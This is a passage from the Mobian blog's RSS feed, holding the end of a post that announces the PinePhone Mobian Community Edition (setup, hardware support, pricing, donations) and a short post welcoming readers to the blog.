possible, and we&amp;rsquo;re confident this list can only grow over time.&lt;/p&gt;
&lt;p&gt;Combined with the absence of software trackers, this gives you an ad-free,
privacy-respecting platform you can bring anywhere with you and use the same way
you do with your personal computer. Taking it to the next level, plug in a USB-C
dock connected to a keyboard, mouse and HDMI monitor, and you won&amp;rsquo;t be able to
tell if you&amp;rsquo;re using a phone or a &amp;ldquo;regular&amp;rdquo; computer.&lt;/p&gt;
&lt;h1 id=&#34;what-to-expect&#34;&gt;What to expect&lt;/h1&gt;
&lt;p&gt;When first powering on your PinePhone Mobian Community Edition, you&amp;rsquo;ll be
greeted with an installer, allowing you to choose your user password and
presenting you with the ability to enable full disk encryption.&lt;/p&gt;
&lt;p&gt;Hardware support is pretty much complete, and while it still needs to be refined
in a number of areas, you&amp;rsquo;ll be able to enjoy full phone functionality
(including voice calls, SMS, mobile broadband, WiFi, front and back cameras&amp;hellip;)
from day one.&lt;/p&gt;
&lt;p&gt;However, please note the software is still mostly work-in-progress, and evolves
on an almost-daily basis. Your device will arrive with a several months old
image, so we can only recommend that you update your PinePhone as soon as
possible to take advantage of the latest developments.&lt;/p&gt;
&lt;h1 id=&#34;pricing--availability&#34;&gt;Pricing &amp;amp; Availability&lt;/h1&gt;
&lt;p&gt;The PinePhone Mobian Community Edition will be available to pre-order from the
&lt;a href=&#34;https://pine64.com/product-category/pinephone/&#34;&gt;Pine64 Store&lt;/a&gt; on January 18th
and comes in two configurations:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;$149 – 2GB RAM + 16GB eMMC&lt;/li&gt;
&lt;li&gt;$199 – 3GB RAM + 32GB eMMC Convergence Package with an included USB-C dock&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Finally, you should be aware of the fact that Pine64 will generously donate $10
to the Mobian project for each device sold, a significant portion of which will
be given back to the Debian project on which we rely heavily (and to which we
obviously contribute!). We can&amp;rsquo;t thank them enough for their commitment to bring
FLOSS-driven devices to the market and support to open-source projects!&lt;/p&gt;</description>
    </item>
    
    <item>
      <title>Welcome to Mobian&#39;s Blog!</title>
      <link>https://blog.mobian.org/posts/welcome-to-mobian/</link>
      <pubDate>Wed, 13 Jan 2021 00:00:00 +0000</pubDate>
      
      <guid>https://blog.mobian.org/posts/welcome-to-mobian/</guid>
      <description>&lt;p&gt;Almost a year after the project first started, it&amp;rsquo;s about time we created an
official communication channel for more-than-140-chars messages from the Mobian
team.&lt;/p&gt;
&lt;p&gt;On this blog you will find status updates, important announcements and technical
articles by our developers.&lt;/p&gt;
&lt;p&gt;Make sure you bookmark this website to stay updated on the latest Mobian news.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://blog.mobian.org/images/mobian-family.jpg&#34; alt=&#34;The Mobian family&#34;&gt;&lt;/p&gt;</description>
    </item>
    
  </channel>
</rss>
